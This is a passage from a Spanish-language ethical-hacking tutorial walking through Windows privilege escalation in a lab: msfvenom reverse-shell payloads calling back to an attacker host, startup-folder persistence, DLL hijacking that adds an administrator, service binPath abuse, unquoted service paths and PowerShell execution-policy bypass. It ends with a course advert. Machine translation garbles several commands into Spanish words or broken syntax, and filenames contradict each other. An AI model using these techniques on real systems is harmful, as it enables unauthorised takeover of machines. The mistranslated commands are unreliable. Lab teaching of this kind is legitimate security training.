- Abra otro símbolo del sistema y escriba: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Dirección IP de Kali VM] -f exe -o y.exe
- Copie el archivo generado, x.exe, a la máquina virtual de Windows.
En Windows
- Coloque x.exe en “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.
- Desconectarse. e Inicie sesión con credenciales de administrador.
En LINUX
- Espere a que se cree una sesión, puede tardar unos segundos
- En Meterpreter (meterpreter> mensaje) escriba: getuid
- En el resultado, observe que el usuario es ” Usuario-PC\Admin”.
Escalamiento del servicio: secuestro de DLL
- ¿Qué significa DLL?
– Los archivos DLL, o archivos de biblioteca de vínculos dinámicos, contienen los recursos que una aplicación necesita para ejecutarse correctamente. Estos podrían incluir imágenes y una biblioteca de funciones ejecutables.
– Los usuarios finales no pueden abrir los archivos DLL, solo pueden abrirlos su aplicación asociada, lo que suele ocurrir cuando se inicia la aplicación. - ¿Qué es el secuestro de DLL?
– El secuestro de DLL es un método para inyectar código malicioso en una aplicación aprovechando la forma en que algunas aplicaciones de Windows buscan y cargan bibliotecas de vínculos dinámicos (DLL).
– Sólo los sistemas operativos de Microsoft son susceptibles a secuestros de DLL.
– Al reemplazar un archivo DLL requerido con una versión infectada y colocarlo dentro de los parámetros de búsqueda de una aplicación, se invocará el archivo infectado cuando se cargue la aplicación, activando sus operaciones maliciosas.
EN WINDOWS
- Abra la carpeta Herramientas que se encuentra en el escritorio y luego vaya a la carpeta Process Monitor.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-238.png?resize=676%2C411&ssl=1)
- En realidad, los ejecutables se copiarían desde el host de la víctima al host del atacante para su análisis durante el tiempo de ejecución (para fines de investigación). Alternativamente, se puede instalar el mismo software en el host del atacante para su análisis, en caso de que pueda obtenerlo. Para simular esto, haga clic derecho en Procmon.exe y seleccione “Ejecutar como administrador” en el menú.
- En procmon, seleccione “filtrar”. En el menú desplegable situado más a la izquierda, seleccione ‘Ruta’ y ‘termina con’
- En el cuadro de entrada en la misma línea, escriba: .dll
- Asegúrese de que la línea que dice la ruta termine en .dll, luego Incluir” y haga clic en el botón ‘Agregar’, luego en ‘Aplicar’ y por último en ‘Aceptar’.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-240.png?resize=618%2C151&ssl=1)
- A continuación, seleccione ‘Resultado’ en el menú desplegable situado más a la izquierda.
- En el cuadro de entrada en la misma línea, escriba: NOMBRE NO ENCONTRADO
- Asegúrese de que la línea diga “El resultado es NOMBRE NO ENCONTRADO, luego Incluir” y haga clic en el botón ‘Agregar’, luego en ‘Aplicar’ y por último en ‘Aceptar’.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-252.png?resize=670%2C450&ssl=1)
- Abra el símbolo del sistema y escriba: sc start dllsvc
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-227.png?resize=648%2C191&ssl=1)
- Desplácese hasta la parte inferior de la ventana. Uno de los resultados resaltados muestra que el servicio intentó ejecutar ‘C:\Temp\hijackme.dll’ pero no pudo hacerlo porque no se encontró el archivo. Tenga en cuenta que ‘C:\Temp’ es una ubicación en la que se puede escribir
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-255.png?resize=1024%2C479&ssl=1)
WINDOWS
- Copie ‘C:\Users\User\Desktop\Tools\Source\windows_dll.c’ a Kali VM.
- Puede hacer lo anterior abriendo un servidor ftp en kali y en Windows conéctese a ese servidor ftp escribiendo ftp <kali ip> y escriba “nombre de archivo”
LINUX
- Abra windows_dll.c en un editor de texto y reemplace el comando utilizado por la función system() por: cmd.exe /k net localgroup administradores usuario /add
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-256.png?resize=700%2C574&ssl=1)
- Salga del editor de texto y compile el archivo escribiendo lo siguiente en el símbolo del sistema: x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
- Copie el archivo generado hijackme.dll a la máquina virtual de Windows. (haga esto generando un servidor Python en Kali y descargando ese archivo en Windows yendo a la dirección IP en Internet)
EN WINDOWS
- Coloque hijackme.dll en ‘C:\Temp’.
- Abra el símbolo del sistema y escriba: sc stop dllsvc y sc start dllsvc
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-228.png?resize=649%2C312&ssl=1)
- Es posible confirmar que el usuario fue agregado al grupo de administradores locales escribiendo lo siguiente en el símbolo del sistema: net localgroup administradores
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-254.png?resize=541%2C285&ssl=1)
Se ha agregado un nuevo “usuario” al grupo de administradores
Escalamiento del servicio: binPath
Método 1
- Abra el símbolo del sistema y escriba: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wuvc daclsvc
-w = mostrarme elementos que tienen acceso de escritura
-u = suprimir errores
-v = verbos
-c = mostrar nombres de servicios - Observe que el resultado sugiere que el usuario “Usuario-PC\Usuario” tiene el permiso “SERVICE_CHANGE_CONFIG”.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-229.png?resize=652%2C316&ssl=1)
Método 2
- Navegue hasta la herramienta de encendido y abra un CMD en ella.
- tipopowershell -ep bypass
- tipo. .\powerUp.ps1
- tipoInvoke-AllChecks
- observe “Comprobación de permisos de servicio”
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-230.png?resize=662%2C333&ssl=1)
- En la operación podemos ver que daclsvc tiene permiso de reinicio, por lo que podemos guardar algún archivo malicioso en él y reiniciar el archivo y obtener privilegios elevados.
- Recopilaremos más información sobre daclsvc escribiendo accesschk64.exe -wvuc daclsvc
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-230.png?resize=662%2C333&ssl=1)
- podemos ver un permiso RW para TODOS para SERVICE_CHANGE_CONFIG en las tres salidas adquiridas de diferentes formas de enumeración.
- Entonces veamos cómo consultar el servicio escribiendo sc qc daclsvc.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-231.png?resize=660%2C335&ssl=1)
- Podemos ver una ruta binaria en la salida y tenemos acceso para configurar el servicio, de modo que si combinamos ambos, podemos ingresar nuestro código malicioso en la ruta binaria y hacer que se ejecute.
- En el símbolo del sistema, escriba: sc config daclsvc binpath = “usuario de administradores de grupo local de red / agregar”
- En el símbolo del sistema escriba: sc start daclsvc
- Es posible confirmar que el usuario fue agregado al grupo de administradores locales escribiendo lo siguiente en el símbolo del sistema: net localgroup administradores
Escalamiento del servicio: rutas de servicio no cotizadas
- Si tiene un ejecutable de servicio cuya ruta no está encerrada entre marcas quataton (“”) y tiene espacio entre ellas, entonces tenemos una escalada de servicio: rutas de servicio sin comillas
- Por ejemplo, considere ir al siguiente directorio en regedit Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\sevices\unquotedsvc
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-253.png?resize=700%2C245&ssl=1)
- En el servicio anterior, observe la ruta de la imagen, no hay comillas a su alrededor y hay espacios. entonces ahora Windows interpretará cada palabra individual como un programa (.exe, .pdf, .ing) o como archivos. por ejemplo: irá en el orden de Programa, programa.exe, programa.pdf, archivos de programa.exe, ……. y se instalará en “archivos de programa”
- para que podamos crear un archivo common.exe malicioso y engañar al sistema para que lo ejecute mientras busca la ruta en el atributo de ruta de la imagen.
EN LINUX
- Abra el símbolo del sistema y escriba: msfconsole
- En Metasploit (msf > símbolo) escriba: use multi/handler
- En Metasploit (msf > símbolo) escriba: establezca la carga útil windows/meterpreter/reverse_tcp
- En Metasploit (msf > símbolo) escriba: establezca lhost [Dirección IP de Kali VM]
- En Metasploit (msf > símbolo) escriba: ejecutar
- Abra otro símbolo del sistema y escriba: msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Dirección IP de Kali VM] -f exe -o common.exe
- (O) msfvenom -p windows/exec CMD=’net localgroup administradores usuario /add’ -f exe-service -o common.exe (Al hacer esto tenemos que abrir la sesión netcat como nc — nvlp 444 y obtener un shell)
- . Copie el archivo generado, x.exe, a la máquina virtual de Windows. Haga lo anterior 7. generando un servidor Python en kali y descargándolo a través de Windows escribiendo kali ip’
EN WINDOWS
- . Coloque common.exe en ‘C:\Archivos de programa\Servicio de ruta sin comillas’.
- Abra el símbolo del sistema y escriba: sc start unquotedsvc
- Abra la pestaña metasploit y busque un shell meterpreter.
No te detengas, sigue avanzando
Aquí tienes un propósito para este 2024 que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera!
Pentesting Web. Prácticas de un Ethical Hacker Profesional
Aprende Pentesting Web, Hacking Ético y Ciberseguridad. Practicas reales y aprender todo sobre Vulnerar entornos Web.
Calificación: 4,2 de 54,2 (609 calificaciones) 30.473 estudiantes Creado por Alvaro Chirou • 1.800.000+ Enrollments Worldwide, Walter Coto || +440,000 Estudiantes
Lo que aprenderás
- Hacking Ético Web
- El TOP 10 Vulnerabilidades Web de OWASP
- Uso de Burp Suite
- Identificar Vulnerabilidades Web
- Explotar Vulnerabilidades Web
- Identificar Vulnerabilidades que NO son de OWASP TOP 10
- Prácticar con Escenarios Reales de Hacking Web
- Las 5 Fases del Pentesting Web
El Pentesting Web se enfoca principalmente en aplicaciones y paginas funcionando en internet. Esto genera que su demanda laboral sea además de muy alta, sumamente importante.
La gran ventaja de esta profesión es que efectivamente, puedes llevarla adelante desde cualquier parte del mundo, con una computadora e internet.
Nosotros te brindaremos los fundamentos teóricos y la base necesaria para que empieces desde 0, y vayas avanzando hacia el ámbito profesional, con laboratorios simulando entornos reales
Hemos creado esta formación profesional donde aprenderás todo lo que necesitas para ser un experto, y con practicas que podrás aplicar en escenarios reales.
Contaras con nuestra supervisión, experiencia y respuesta a todas tus preguntas que tengas sobre el contenido. Así también sobre las actualizaciones que hagamos sobre el curso, el cual será tuyo de por vida y recibirás dichas actualizaciones sin tener que volver a pagar.
Empieza a aprender ya mismo y acompáñame en este increíble curso.
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
![](https://i0.wp.com/achirou.com/wp-content/uploads/2023/11/image.png?resize=549%2C67&ssl=1)
Sobre los autores
Álvaro Chirou
Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes serguirme en mis redes:
Laprovittera Carlos
Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:
¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: https://achirou.com/como-iniciarse-en-ciberseguridad-y-hacking-en-2024/ que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.